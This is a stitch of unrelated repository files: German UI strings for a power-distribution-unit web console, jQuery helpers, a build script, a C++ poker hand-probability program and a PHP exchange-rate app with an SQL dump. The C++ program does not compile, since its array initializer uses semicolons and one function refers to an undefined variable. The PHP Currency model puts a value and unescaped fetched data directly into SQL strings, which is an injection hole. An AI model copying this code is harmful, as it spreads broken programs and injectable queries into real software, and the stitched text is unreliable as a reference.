lowwarninfo: '"Warnung: Wert zu niedrig" + 2-fache Reset-Grenze muss weniger oder gleich sein als "Warnung: Wert zu hoch"',
upwarninfo: '"Warnung: Wert zu hoch" + Grenze muss weniger oder gleich sein als "Kritisch: Wert zu hoch"',
lowcriticalinfo2: '"Kritisch: Wert zu niedrig" + 2-fache Reset-Grenze muss weniger oder gleich sein als "Warnung: Wert zu hoch"',
lowcriticalinfo3: '"Kritisch: Wert zu niedrig" + 2-fache Reset-Grenze muss weniger oder gleich sein als "Kritisch: Wert zu hoch"',
lowwarninfo2: '"Warnung: Wert zu niedrig" + 2-fache Reset-Grenze muss weniger oder gleich sein als "Kritisch: Wert zu hoch"'
},
resetdevicedl: {
txt: "Netzwerkkarte zurücksetzen",
txt1: "Die Netzwerkkarte wird in wenigen Sekunden zurückgesetzt.",
txt2: "Sie werden zurück zur Login-Seite geleitet in",
txt3: "Sekunden.",
txt4: "Wenn diese Weiterleitung nicht funktioniert, nutzen Sie",
txt5: "diesen Link",
txt6: "zur Login-Seite."
},
language: {
txt: "Sprache",
type: {
en: "English",
cn: "Chinesisch"
}
},
logout: "Abmelden",
doreallylogout: "Wollen Sie sich wirklich abmelden?",
tree: "PDU Explorer",
login: "Eingeloggt als {0}",
greeting: "Willkommen bei Enlogic",
ip: "<b>IP-Adresse: </b>{0}",
time: "<b>Login-Zeit: </b>{0}"
};
/*--left pages--*/
/*Dashboard page*/
MODEL.dashboard = {
loading: "Lade",
status: "Status",
alarms: "Alarme",
ok: "Ok",
currentrms: "Stärke, RMS (A)",
currentrms2: "Stärke, RMS (A)",
cb1current: "CB1 Current",
cb2current: "CB2 Current",
cb1status: "CB1 Status",
cb2status: "CB2 Status",
voltagerms: "Spannung, RMS (V)",
voltenergy: "Energy (kWh)",
pdupowerenergy: "PDU Stromleistung",
externalsensor: "Externe Sensoren, Typ",
externalsensortype: "Type",
sensorname: "Sensorname",
pduname: "PDU Name",
location: "Ort",
value: "Wert"
// activealarmpdu: "Aktive Alarme für PDU Nr.",
// close: "Schließen",
// alarmtype: "Alarmtyp",
// count: "Zählen"
};
/*PDU #*/
MODEL.pdu = {
pduset: "PDU Einstellung",
pduenergy: "PDU Energie",
pduattribute: "PDU Attribute",
pduname: "PDU Name",
pdulocation: "PDU Ort",
pduunitdelay: "PDU Einheit Kaltstart-Verzögerung (0 - 3600 s)",
outletstate: "Outlet-Status bei PDU-Start",
resetenergy: "Strom zurücksetzen",
resetolenergy: "Outlet-Strom zurücksetzen",
pdumacaddress: "PDU MAC Adresse",
rating: "Bewertung",
resetenergymeter: "Zurücksetzbarer Strommesser",
activepowervalue: "Wert Aktive Leistung (W)",
activepowerset: "Aktive Leistung Status, Einstellung",
reset: "Zurücksetzen",
resetsuccess: "Erfolgreich zurückgesetzt!",
surechangeol: "Wollen Sie diese Änderung wirklich auf alle Outlets anwenden?",
reallyresetenergy: "Wollen Sie wirklich den Strom zurücksetzen?",
nopermission: "Keine Befugnis:"
};
/*Input Phases*/
MODEL.phases = {
phasecurrentrms: "Phasenstrom, RMS",
reading: "Lese ",
lowercritical: "Kritisch: Wert zu niedrig ",
lowerwarning: "Warnung: Wert zu niedrig ",
upperwarning: "Warnung: Wert zu hoch ",
uppercritical: "Kritisch: Wert zu hoch ",
statusset: "Status, Einstellung",
phasevoltagerms: "Phasenspannung, RMS",
phasepower: "Phasenstrom",
apparentpower: "Scheinleistung (VA)",
powerfactor: "Stromfaktor",
activepower: "Aktive Leistung (W)"
};
/*Circuit Breaker*/
// MODEL.breakers = {
// circuitid: "Schaltungs-ID",
// statusset: "Stärke, RMS (A)",
// currentrms: "Wertung (A)",
// rating: "Rating (A)",
// remaincapacity: "Verbleibende Kapazität (A)",
// inputphases: "Eingabephasen",
// connoutlet: "Verbundene Outlets"
// };
/*Sensor page*/
MODEL.sensor = {
id: "ID",
typeset: "Typ",
statusset: "Status, Einstellung",
value: "Wert",
serialno: "Seriennr.",
aisle: "Gang",
name: "Name",
description: "Beschreibung",
location: "Ort"
};
/*Outlet Power Management*/
// MODEL.outletstools = {
// powercontrol: "Stromeinstellung",
// execute: "Ausführen",
// outletid: "Outlet ID",
// outletname: "Outlet-Name",
// alarmstatus: "Alarm-Status",
// activepower: "Aktive Leistung (W)",
// powerstatus: "Stromstatus",
// noselect: "Sie haben nichts ausgewählt!",
// doexecute: "Wollen Sie diesen Befehl wirklich ausführen?",
// //
// outletset: "Outlet-Einstellung",
// outletattr: "Outlet-Attribute",
// stateonstart: "Status beim Start",
// ondelay: "Einschaltverzögerung (0 ~ 7200s)",
// offdelay: "Ausschaltverzögerung (0 ~ 7200s)",
// rebootduration: "Reboot-Dauer (5 ~ 60s)",
// current: "Stärke (A)",
// voltage: "Spannung (V)",
// activepower: "Aktive Leistung (W)",
// peakpower: "Höchstleistung (W)",
// powerfactor: "Stromfaktor",
// energymeter: "Zurücksetzbarer Strommesser"
// }
//
/**--Menu Dialog Pages--*/
MODEL.changepw = {
oldpass: "<PASSWORD>",
newpass: "Neues Passwort",
cfmpass: "Passwort bestätigen",
chgpwfail: "Passwortänderung fehlgeschlagen.",
confirminfo: "After changing the setting, you will need to login again.<br/> Do you really want to apply changes now?"
};
MODEL.users = {
// noselect: "Bitte wählen Sie eine Reihe!",
// usernotbedel: "Dieser User kann nicht gelöscht werden!",
// notdelyourself: "Sie können sich nicht selbst löschen!",
// notdelthisuser: "Sie können diesen User nicht löschen!",
// reallydeluser: "Wollen Sie wirklich den User {0} löschen ?",
// nopermission: "Sie sind nicht dazu befugt, diesen User zu löschen!",
// enteruserexist: "Der eingegebene Username existiert bereits!",
// noselectrole: "Bitte wählen Sie eine Rolle!",
// setting: "Einstellungen",
// snmpv3: "SNMPv3",
// roles: "Roles",
// preferences: "Präferenzen",
//
// createnewuser: "Neuen User erstellen",
// edituser: "User bearbeiten:",
// active: "Aktiv",
// roles: "Rollen",
username: "Username",
// fullname:"Kompletter Name",
password: "<PASSWORD>",
cfpassword: "<PASSWORD>",
// telnumber: "Telefonnummer",
// emailaddress: "E-Mail Adresse",
// enabled: "Aktiviert",
// forcepwchntlg: "Beim nächsten Login Passwortänderung anfordern",
//
// enablesnmpacc: "SNMPv3 Zugang aktivieren",
// securitylevel: "Sicherheitslevel",
// usepwasauthpass: "Passwort als Zugangspasswort nutzen",
// authpass: "<PASSWORD>",
// cfauthpass: "<PASSWORD>",
// useauthaspri: "Zugangspasswort als Datenschutzpasswort nutzen",
// pripass: "Datenschutzpasswort",
// cfpripass: "Datenschutzpasswort bestätigen",
// authalgorithm: "Zugangs-Algorithmus",
// prialgorithm: "Datenschutz-Algorithmus",
//
// temperatureunit: "Temperatureinheit",
//
// news: "Neu",
// edits: "Bearbeiten",
// deletes: "Löschen"
};
/*
PING Status
*/
window.PINGSTATUS = {
0: "Erreichbar",
1: "Nicht erreichbar",
2: "Warte auf zuverlässige Antwort",
3: "Fehler"
};
// MODEL.role = {
// noselect: "Bitte wählen Sie eine Reihe!",
// rolenotbedel: "Diese Rolle kann nicht gelöscht werden!",
// reallydelrole: "Wollen Sie wirklich die Rolle: {0} löschen ?",
// settings: "Einstellungen",
// privileges: "Privilegien",
// rolename: "Rollenname",
// description: "Beschreibung",
// roleinfo: "Privilegien werden bearbeitet",
// //
// privilegesedit: "Privilegien werden bearbeitet",
// selectillustrate: "Fügen Sie der Rolle <br/> Privilegien hinzu. Bitte beachten Sie, dass einige Privilegien zusätzliche Parameter erfordern.",
// parameters: "Parameter",
// //
// clickcancel: "Klicken Sie auf „Abbrechen“, um den Vorgang zu schließen",
// clicksavecancel: "Klicken Sie hier, um den Vorgang zu speichern und zu schließen",
// news: "Neu",
// edits: "Bearbeiten",
// deletes: "Löschen",
// saves: "Speichern"
// };
MODEL.netsvr = {
change : "Nachdem Sie diese Einstellungen ändern, müssen Sie die Netzwerkkarte zurücksetzen, damit sie aktiv werden. Wollen Sie diese Änderungen jetzt anwenden?"
};
MODEL.resetdev = {
doresetcard: "Wollen Sie die Netzwerkkarte wirklich zurücksetzen?"
};
MODEL.http = {
httpport: "HTTP Port",
httpsport: "HTTPS Port"
};
MODEL.snmp = {
general: "Allgemein",
traps: "Traps",
snmpv12set: "SNMP v1 / v2c Einstellungen",
snmpv12: "SNMP v1 / v2c",
enable: "Aktivieren",
readcs: "Community-String lesen",
writecs: "Community-String beschreiben",
snmpv3set: "SNMP v3 Einstellungen",
snmpv3: "SNMP v3",
mibiigroup: "MIB-II Systemgruppe",
syscontact: "sysContact",
sysname: "sysName",
syslocation: "sysLocation",
snmptrapset: "SNMP Trap Einstellungen",
snmptraprule: "System Snmp Trap Ereignisregel",
host: "Host",
port: "Port",
community: "Community",
// helpinfo: "Bitte nutzen Sie die Option Geräteeinstellungen > Ereignisregeln für detailliertere Trap-Einstellungen.",
// downloadmib: "Download MIB"
}
// MODEL.ssh = {
// sshport: "SSH Port",
// enablessh: "SSH-Zugang aktivieren"
// }
MODEL.telnet = {
telnetport: "Telnet Port",
enabletelnet: "Telnet-Zugang aktivieren"
}
// MODEL.ftp = {
// ftpport: "FTP Port",
// enableftp: "FTP-Zugang aktivieren"
// }
MODEL.network = {
ipprotocol: "IP-Protokoll",
ipv4set: "IPv4 Einstellungen",
ipv4only: "Nur IPv4",
ipv6only: "Nur IPv6",
ipv46: "IPv4 & IPv6",
// dnsresolve: "DNS Resolver",
preference: "Präferenz",
ipv4address: "IPv4 Adresse",
ipv6address: "IPv6 Adresse",
ipautoconfig: "IP Auto-Konfiguration",
ipaddress: "IP Adresse",
netmask: "Netzmaske",
gateway: "Gateway",
// specficdns: "DNS-Server manuell einrichten",
dhcppro: "Primärer DNS-Server",
staticpro: "Sekundärer DNS-Server"
// dnssuffix: "DNS Suffix(Optional)"
}
// MODEL.loginset = {
// userblock: "Userblockierung",
// blockuserfail: "User nach fehlgeschlagenem Login blockieren",
// maxnumfailln: "Maximale Anzahl fehlgeschlagener Logins",
// blocktimeout: "Blockierungszeit",
// loginlimit: "Login-Begrenzungen",
// idletimeout: "Inaktivität-Timeoutzeitraum"
// };
// MODEL.pwpolicy = {
// pwaging: "Passwort Aging",
// pwaginginterval: "Passwort Aging Intervall",
// strongpw: "Starke Passworte",
// minpwlength: "Minimale Passwortlänge",
// maxpwlength: "Maximale Passwortlänge",
// enforcelower: "Mindestens ein Kleinbuchstabe",
// enforceupper: "Mindestens ein Großbuchstabe",
// enforcenumeric: "Mindestens eine Ziffer",
// enforcespecial: "Mindestens ein Sonderzeichen."
// };
// MODEL.forcehttpinfo = {
// confirminfo: "Nachdem Sie diese Einstellungen ändern, müssen Sie die Netzwerkkarte zurücksetzen, damit sie aktiv werden. <br/>Wollen Sie diese Änderungen jetzt anwenden?"
// }
// MODEL.evtrule = {
// eventset: "Ereignisaktionseinstellungen",
// selectrule: "Ausgewählte Regeln",
// smtpreceive: "SMTP Receiver",
// eventname: "Ereignisname",
// action: "Aktionen"
// };
MODEL.datalog = {
loginterval: "Log-Intervall (1 - 1440 Minuten)",
enablelog: "Datenlog aktivieren",
illustrateinfo: "Das Datenlog kann bis zu 2000 Einträge speichern. Die maximale Speicherzeit der Daten hängt von der Log-Intervalleinstellung ab. Wenn z.B. der Logintervall 600 Sekunden (10 Minuten) ist, kann das Log bis 13.89 Tage Daten speichern. Wenn das Log die maximale Kapazität erreicht hat, werden die ältesten Einträge mit den neuesten überschrieben."
};
MODEL.datetime = {
timezone: "Zeitzone",
usertime: "Userspezifische Zeit",
date: "Datum (JJJJ/MM/TT Stunde:Minute:Sekunde)",
time: "Zeit (Stunde:Minute:Sekunde)",
synntpserver: "An NTP Server anpassen",
firstip: "IP Adresse des ersten Servers",
secondip: "IP Adresse des zweiten Servers",
checkntp: "NTP-Server prüfen",
checkntpinfo: "Bitte geben Sie den richtigen NTP-Server ein!"
};
// MODEL.smtp = {
// serverset: "Server-Einstellungen",
// servername: "Server Name",
// port: "Port",
// sendemail: "E-Mail Adresse des Absenders",
// numsend: "Erneute Zustellungsversuche",
// intervalsend: "Zeitintervall (in Minuten) zwischen Zustellungsversuchen",
// serverreq: "Erfordert Serverauthentifizierung",
// username: "Username",
// password: "<PASSWORD>",
// smtpset: "SMTP-Einstellungen prüfen",
// recemail: "Empfänger E-Mail Adresse",
// testemail: "Test E-Mail versenden",
// testsmtp: "Prüfe SMTP-Einstellung",
// testemailinfo: "Sende Test E-Mail, bitte warten...",
// errorinfo: "Fehler: SMTP Einstellungen ! & uptstatus ist : ",
// probleminfo: "Beim Senden der Test E-Mail ist ein Fehler aufgetreten.<br/>",
// checkinfo: "Bitte prüfen Sie Ihre SMTP-Servereinstellungen.<br/>",
// succinfo: "Die Nachricht wurde erfolgreich versendet. Bitte prüfen Sie Ihren Posteingang.",
// errorname: "<br/>Fehlermeldung:<br/>Name oder Dienst unbekannt.",
// errorconn: "<br/>Fehlermeldung:<br/>Verbindung abgelehnt",
// errordns: "<br/>Fehlermeldung:<br/>Der DNS-Server konnte nicht gefunden werden!",
// errorsmtp: "Fehler bei onreadystatechange in den SMTP-Servereinstellungen:"
// };
// MODEL.serreach = {
// iphostnm: "IP-Adresse/Hostname",
// pingenable: "Ping Aktiviert",
// status: "Status",
// news: "Neu",
// edit: "Bearbeiten",
// deletes: "Löschen",
// refresh: "Aktualisieren",
// addnew: "Neue Servereigenschaft hinzufügen",
// reachemax: "Maximale Servereinträge erreicht. <br/> User kann keinen neuen Server erstellen",
// enableping: "Ping-Prüfung für diesen Server aktivieren",
// numSuccping: "Anzahl erfolgreicher Pings zur Aktivierung",
// numunsuccping: "Anzahl erfolgloser Pings für Fehlversuch",
// waittime: "Wartezeit (in Sekunden) zum nächsten Ping",
// editserver: "Servereigenschafen bearbeiten",
// noselect: "Bitte wählen Sie eine Reihe.",
// deleteser: "Wollen Sie wirklich den Server '{0}' löschen?"
// };
// MODEL.usb = {
// usb: "USB",
// enableusb: "USB-Zugang aktivieren"
// };
MODEL.pduinfo = {
pdunm: "PDU Name:",
pduloc: "Location:"
};
// MODEL.ldap = {
// ldapset: "LDAP Einstellungen",
// ldapenable: "LDAP aktivieren",
// typeserver: "LDAP-Servertyp",
// iphostnm: "IP-Adresse / Hostname",
// port: "Port",
// sasl: "SASL",
// authnm: "Authentisierungs-Name",
// authdomain: "Authentisierungs-Domain",
// usebind: "Bind Credentials benutzen",
// binddn: "Bind DN",
// bindpw: "Bind Passwort",
// Confirmpw: "Passwort bestätigen",
// dnsearch: "Base DN für Suche",
// lgnmattr: "Login-Namen Attribute",
// userentry: "Eingabe nicht im richtigen Format",
// testldapset: "Prüfe LDAP Einstellungen",
// usernm: "Username",
// password: "<PASSWORD>",
// testconn: "Verbindung testen",
// conntest: "Verbindungstest",
// conftest: "Konfigurations-Test",
// authtest: "Authentifizierungs-Test",
// userrole: "Dem User sind Rollen zugeordnet",
// userknownrole: "Dem User sind bekannte Rollen zugeordnet"
// };
// MODEL.vwdtlog = {
// reflog: "Log aktualisieren",
// clearlog: "Log löschen",
// savelog: "Log speichern",
// launch: "In neuem Fenster öffnen"
// };
// MODEL.updtfw = {
// upload: "Hochladen",
// selectfile: "Dateien auswählen",
// deletes: "Löschen",
// pending: "Ausstehend...",
// fileformat: "Das ausgewählte Dateiformat ist ungültig; bitte wählen Sie erneut."
// };
// MODEL.frupdth = {
// timestamp: "Zeitstempel",
// preversion: "Vorherige Version",
// updversion: "Version aktualisieren",
// status: "Status"
// };
// MODEL.conuser = {
// usernm: "Username",
// ipaddr: "IP-Adresse",
// clienttype: "Client-Typ",
// idletime: "Inaktive Zeit",
// action: "Aktion",
// disconn: "Trennen",
// disconnuser: "User trennen",
// dodisconnuser: "Wollen Sie wirklich den User von der Verbindung trennen '{0}'?",
// dodisconnself: "Sie versuchen, Ihre Verbindung zu beenden zu:'{0} ({1})' <br/> Wollen Sie Ihre Verbindung wirklich beenden?"
// };
MODEL.diagnostic = {
// diagconf: "Diagnostic-Konfiguration",
downloadlog: "Diagnostic-Informationen herunterladen",
clearlog: "Clear Log",
confirminfo: "Are you sure to clear PDU log?"
};
// MODEL.eventlog = {
// reflog: "Log aktualisieren",
// clearlog: "Log löschen",
// savelog: "Log speichern",
// launch: "In neuem Fenster öffnen",
// clearloginfo: "Wollen Sie das Log wirklich löschen?"
// };
MODEL.blkconf = {
dlconf: "Konfiguration herunterladen",
dlconffile: "Konfigurationsdatei herunterladen",
Uploadconf: "Konfiguration hochladen",
upload: "Hochladen",
uploadsucc: "Upload erfolgreich, aktualisiere...",
applyconf: "Konfiguration anwenden",
pleasewait: "Bitte warten...!"
};
MODEL.devinfo = {
pduinfo: "PDU-Informationn",
outlets: "Outlets",
circbreak: "Sicherungsautomaten",
sku: "SKU",
serialnum: "Seriennummer",
rating: "Wertung",
functype: "Funktionstyp",
// pdutype: "meter",
functypev: "Metered",
ipv4addr: "Geräte IPv4 Adresse",
ipv6addr: "Geräte IPv6 Adressen",
macaddr: "Gerät-MAC-Adresse",
fwversion: "Firmware-Version",
webversion: "Web-Version",
pdumib: "PDU-MIB",
download: "Download",
label: "Label",
operatevol: "Betriebsspannung",
ratecurrent: "Nennstrom",
type: "Typ",
protoutlet: "Geschützte Outlets"
};
window.CBTYPE = {
0: "Keine"
, 1: "Sicherungsautomat 1-polig"
, 2: "Sicherungsautomat 2-polig"
};
//
/*--Buttons--*/
MODEL.buttons = {
cancels: "Abbrechen",
oks: "Ok",
closes: "Schließen",
yes: "Ja",
no: "Nein",
save: "Speichern",
edit: "Bearbeiten",
action: "Aktion",
message: "Nachricht",
info: "Information",
runping: "Ping ausführen",
run: "Ausführen"
};
MODEL.master.setalarmdl.alarm = "Alarme";
MODEL.master.setalarmdl.off = "Ein";
MODEL.master.setalarmdl.on = "Aus";
MODEL.master.setalarmdl.disable = "Ausschalten";
MODEL.master.setalarmdl.enable = "Einschalten";
MODEL.master.setalarmdl.normal = "Normal";
// MODEL.role.deldone = "Rolle wurde erfolgreich gelöscht";
// MODEL.loginset.min = "Min";
// MODEL.loginset.hr = "St";
// MODEL.loginset.infinite = "unbegrenzt";
// MODEL.pwpolicy.d = "T";
// MODEL.outletstools.powctrl = "Stromkontroll";
// MODEL.outletstools.apply = " Anwenden ";
// MODEL.outletstools.excuting = " Ausführe... Klicken Sie hier um abzubrechen ";
// MODEL.datetime.succ = "Erfolgreich";
// MODEL.datetime.fail = "Nicht erfolgreich";
window.VALID = {
ipv4: "Bitte geben Sie eine gültige ipv4-Adresse ein"
, ipv6: "Bitte geben Sie eine gültige ipv6-Adresse ein"
, nowhite: "Leerzeichen sind nicht erlaubt"
, greater: "Geben Sie bitte eine größere Nummer ein"
, customdate: "Geben Sie bitte ein gültiges Datum ein"
, lowchar: "Geben Sie bitte mindestens einen Kleinbuchstaben ein"
, uppchar: "Geben Sie bitte mindestens einen Großbuchstaben ein "
, numchar: "Geben Sie bitte mindestens eine Nummer ein"
, spechar: "Geben Sie bitte mindestens ein Sonderzeichen ein"
, diffval: "Geben Sie bitte einen verschiedenen Wert ein"
, oldpwd: "Please enter a correct old password."
};
// window.FUNCTYPE = {
// 0: "Unbekannt"
// , 1: "PDU Messen"
// , 2: "PDU Messen, Outlet Schalten"
// , 3: "Outlet Messen"
// , 4: "Outlet Messen, Outlet Schalten"
// };
MODEL.login.authfail = "Authentifizierung fehlgeschlagen";
// MODEL.dashboard.pduid = "PDU-ID";
// MODEL.devinfo.bootver = "Bootloader-Version";
// MODEL.devinfo.langver = "OLED Sprachversion";
MODEL.login.connfail = "Verbindung abgelehnt";
// MODEL.outletstools.outinuse = "Outlet im Einsatz";
MODEL.datetime.succ = "Erfolgreich";
MODEL.datetime.fail = "Nicht erfolgreich";
})(window);
/*messages_de.js*/
/*
* Translated default messages for the jQuery validation plugin.
* Locale: DE (German, Deutsch)
*/
(function ($) {
$.extend($.validator.messages, {
required: "Dieses Feld ist ein Pflichtfeld.",
maxlength: $.validator.format("Geben Sie bitte maximal {0} Zeichen ein."),
minlength: $.validator.format("Geben Sie bitte mindestens {0} Zeichen ein."),
rangelength: $.validator.format("Geben Sie bitte mindestens {0} und maximal {1} Zeichen ein."),
email: "Geben Sie bitte eine gültige E-Mail Adresse ein.",
url: "Geben Sie bitte eine gültige URL ein.",
date: "Bitte geben Sie ein gültiges Datum ein.",
number: "Geben Sie bitte eine Nummer ein.",
digits: "Geben Sie bitte nur Ziffern ein.",
equalTo: "Bitte denselben Wert wiederholen.",
range: $.validator.format("Geben Sie bitte einen Wert zwischen {0} und {1} ein."),
max: $.validator.format("Geben Sie bitte einen Wert kleiner oder gleich {0} ein."),
min: $.validator.format("Geben Sie bitte einen Wert größer oder gleich {0} ein."),
creditcard: "Geben Sie bitte eine gültige Kreditkarten-Nummer ein."
});
}(jQuery));
<file_sep>/src/js/.svn/text-base/jquery.inputToJSON.js.svn-base
/* $.fn.inputToJSON */
/*!
* Convert input fields to JSON object
*/
(function ($) {
$.fn.inputToJSON = function() {
var $this = $(this);
var result = {};
$this.each(function() {
var $input = $(this)
, name = $input.attr("name")
, value = $input.val()
;
name && (result[name] = value);
});
return result;
};
})(jQuery);<file_sep>/README.md
pdues
=====
pdues single page
<file_sep>/src/js/.svn/text-base/el.download.js.svn-base
(function() {
var self = EL.DownloadSet = function() {
function getDownloadPolicy() {
$("#btnMainSubmit").hide();
}
getDownloadPolicy();
$("#clearlog").click(function() {
$.messager.confirm(MODEL.buttons.message, MODEL.diagnostic.confirminfo, function () {
$.ajax({
type: "GET",
url: "private/clearlog.json",
// data: "{}",
dataType : "json",
success: function(data) {
if (EL.UpdateStatus(data)) {
// $('#mydialog').dialog('destroy');
// $('#mydialog').html('');
}
}
});
});
});
};
}());<file_sep>/deploy.sh
#!/bin/bash
#show commands
set -x
#combine
mkdir web/js
mkdir web/css
mkdir web/public
mkdir web/private
#minifier JS/CSS/HTML
#require uglify js: [sudo]npm install uglify-js -g
uglifyjs src/js/prod.js -o web/js/prod.js
uglifyjs src/js/locale.cn.js -o web/js/locale.cn.js
uglifyjs src/js/locale.de.js -o web/js/locale.de.js
java -jar tool/yuicompressor-2.4.7.jar src/css/prod.css -o web/css/prod.css
java -jar tool/htmlcompressor-1.5.3.jar src/index.htm > web/index.htm
cp src/public/* web/public -r
cp src/private/* web/private -r
cp src/js/ie8.js web/js/ie8.js
#wait for 10 seconds
sleep 20 | 555cbc311f1d23061ed8c6b41a90ab7d2f1a717a | [
"JavaScript",
"Markdown",
"Shell"
] | 13 | JavaScript | noprettyboy/pdues | 511c5be8a9da754317f9d77f2318392b349d0eac | 3e1d9e733844437db93d73e408cc0480173964d9 |
refs/heads/master | <file_sep>//game1.cpp
#include <stdlib.h>
#include <time.h>
#include "game1.h"
using namespace std;
int main() {
srand((unsigned)time(NULL));
Game game1;
return 0;
}
Game::Game() {
float totalPercentPair = 0, totalPercentFlush = 0;
int i;
cout << "Trial\tHands\tPairs\tFlushes\t%Pairs\t%Flushes" << endl;
for(i = 0; i < 10; i++) {
Deck gameDeck;
int pairCount = 0, flushCount = 0;
int j;
//1000 iterations because in each iteration we are dealing the cards 10 times
for(j = 1; j <= 1000; j++) {
int k;
for(k = 0; k < 50; k += 5) {
Card hand[5];
int l;
for(l = 0; l < 5; l++)
hand[l] = gameDeck.getCard();
if(isPair(hand)) pairCount++;
if(isFlush(hand)) flushCount++;
}
gameDeck.Deck::shuffle(100);
}
cout << i << "\t10000\t" << pairCount << "\t" << flushCount << "\t" << pairCount / 100.0 << "\t" << flushCount / 100.0 << endl;
totalPercentPair += (pairCount / 100.0);
totalPercentFlush += (flushCount / 100.0);
}
cout << "Average Percentage of Pairs is " << totalPercentPair / 10 << endl;
cout << "Average Percentage of Flushes is " << totalPercentFlush / 10;
}
bool isPair(Card hand[5]) {
int i;
bool counted[13] = {false; false; false; false; false; false; false; false; false; false; false; false; false};
for(i = 0; i < 5; i++)
if(counted[hand[i].Card::getValue()]) return true;
else counted[hand[i].Card::getValue()] = true;
return false;
}
bool isFlush(Card *) {
int i;
Card::Suit currentSuit = hand[0].Card::getSuit();
for(i = 1; i < 5; i++)
if(hand[i].Card::getSuit() != currentSuit) return false;
return true;
}
<file_sep>//game1.h
#ifndef _GAME1_H
#define _GAME1_H
#include "card.h"
#include "deck.h"
class Game {
Game();
bool isPair(Card *);
bool isFlush(Card *);
};
#endif | fea594cce2811126a2a97b3d6c68639ac2ec439d | [
"C++"
] | 2 | C++ | divyaansh/Poker-Probabilities | f427d5ed374e6c67bd37b16881830924fe7e02fc | bbaaf06b61f938606a88408a522a2f9a7de3f3ea |
refs/heads/master | <file_sep><?
if(!$currencies){
echo 'Service is unreachable now, try later!';
}else{
foreach($currencies as $cur):?>
<tr>
<th><?=$cur['valuteID']?></th>
<td><?=$cur['numCode']?></td>
<td><?=$cur['сharCode']?></td>
<td><?=$cur['name']?></td>
<td><?=$cur['value']?></td>
<td><?=date('Y-m-d',$cur['date'])?></td>
</tr>
<?endforeach;
}?><file_sep><?php
return array(
'api/get(\?)(\S*)' => 'tools/api/',
'fillcours' => 'tools/fillCours/',
'table' => 'site/table/',
'(\S+)' => 'site/index/',
'' => 'site/index/'
);<file_sep>api url example;
/api/get?id=R01010&from=2020-04-06&to=2020-04-08 <file_sep><?php
class SiteController
{
public function actionIndex()
{
$cur_date = date("Y-m-d");
$days_ago =array();
for ($i=0; $i < 30; $i++){
$days_ago[] = date('Y-m-d', strtotime("-$i days", strtotime($cur_date)));
}
require_once(ROOT.'/views/site/index.php');
return true;
}
public function actionTable()
{
$date = (isset($_POST['date'])||$_POST['date']!=null)?$_POST['date']:date("Y-m-d");
//echo $date;exit;
$currencies = Currency::get(strtotime($date));
if(empty($currencies)){
$days_ago = date('Y-m-d', strtotime($date));
$days_ago_url = date('d/m/Y', strtotime($date));
$currenciesList = Tools::getCurrencies($days_ago_url);
if($currenciesList){
$insert = "";
foreach($currenciesList as $cur){
if(!Currency::checkExists($cur['ID'],strtotime($days_ago))){
$insert .= "('".$cur['ID']."',".$cur->NumCode.",'".$cur->CharCode."','".$cur->Name."',".str_replace(',','.',$cur->Value).",".strtotime($days_ago)."),";
}
}
if($insert!=""){
$insert = rtrim($insert, ",");
$insert .= ";";
Currency::multipleAdd($insert);
}
$currencies = Currency::get(strtotime($date));
}
}
require_once(ROOT.'/views/layouts/table.php');
return true;
}
}
<file_sep><?php
class Currency
{
public static function add($valuteID,$numCode,$сharCode,$name,$value,$date)
{
//echo "VALUES ($valuteID, $numCode, $сharCode, $name, $value, $date)";exit;
$db = Db::getConnection();
$sql = 'INSERT INTO currency (valuteID,numCode,сharCode,name,value,date) '
."VALUES (:valuteID ,:numCode , '$сharCode' ,:name ,:value ,:date)";
$result = $db->prepare($sql);
$result->bindParam(':valuteID', $valuteID, PDO::PARAM_STR);
$result->bindParam(':numCode', $numCode, PDO::PARAM_STR);
//$result->bindParam(':сharCode', $сharCode, PDO::PARAM_STR);
$result->bindParam(':name', $name, PDO::PARAM_STR);
$result->bindParam(':value', $value, PDO::PARAM_STR);
$result->bindParam(':date', $date, PDO::PARAM_STR);
$success = $result->execute();
if (!$success) {
echo __LINE__ . ' DB error: ';
var_dump($result->errorInfo());
exit;
}
return $success;
}
public static function multipleAdd($insert)
{
//echo "VALUES ($valuteID, $numCode, $сharCode, $name, $value, $date)";exit;
$db = Db::getConnection();
$sql = 'INSERT INTO currency (valuteID,numCode,сharCode,name,value,date) '
."VALUES $insert ";
$result = $db->prepare($sql);
//echo $sql;exit;
$success = $result->execute();
if (!$success) {
echo __LINE__ . ' DB error: ';
var_dump($result->errorInfo());
exit;
}
return $success;
}
public static function checkExists($id, $date){
$db = Db::getConnection();
$sql = 'SELECT * FROM currency WHERE valuteID = :id AND date = :date ';
$result = $db->prepare($sql);
$result->bindParam(':id', $id, PDO::PARAM_STR);
$result->bindParam(':date', $date, PDO::PARAM_STR);
$result->execute();
return $result->fetch();
}
public static function find($id, $from, $to){
$db = Db::getConnection();
$sql = 'SELECT * FROM currency WHERE valuteID = :id AND date >= :from AND date <= :to ';
$result = $db->prepare($sql);
$result->bindParam(':id', $id, PDO::PARAM_STR);
$result->bindParam(':from', $from, PDO::PARAM_STR);
$result->bindParam(':to', $to, PDO::PARAM_STR);
$result->execute();
$res =array();
while ($row = $result->fetch()) {
$res[] = $row;
}
return $res;
}
public static function delete($from, $to){
$db = Db::getConnection();
$sql = 'DELETE FROM currency WHERE date >= :from AND date <= :to ';
$result = $db->prepare($sql);
$result->bindParam(':from', $from, PDO::PARAM_STR);
$result->bindParam(':to', $to, PDO::PARAM_STR);
return $result->execute();
}
public static function get($date){
$db = Db::getConnection();
$sql = 'SELECT * FROM currency WHERE date = :date ';
$result = $db->prepare($sql);
$result->bindParam(':date', $date, PDO::PARAM_STR);
$result->execute();
$res =array();
while ($row = $result->fetch()) {
$res[] = $row;
}
return $res;
}
}<file_sep>-- phpMyAdmin SQL Dump
-- version 4.9.0.1
-- https://www.phpmyadmin.net/
--
-- Хост: 127.0.0.1:3306
-- Время создания: Апр 09 2020 г., 11:54
-- Версия сервера: 10.3.13-MariaDB-log
-- Версия PHP: 7.1.32
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- База данных: `worktest`
--
-- --------------------------------------------------------
--
-- Структура таблицы `currency`
--
CREATE TABLE `currency` (
`id` int(11) NOT NULL,
`valuteID` varchar(7) NOT NULL,
`numCode` int(11) NOT NULL,
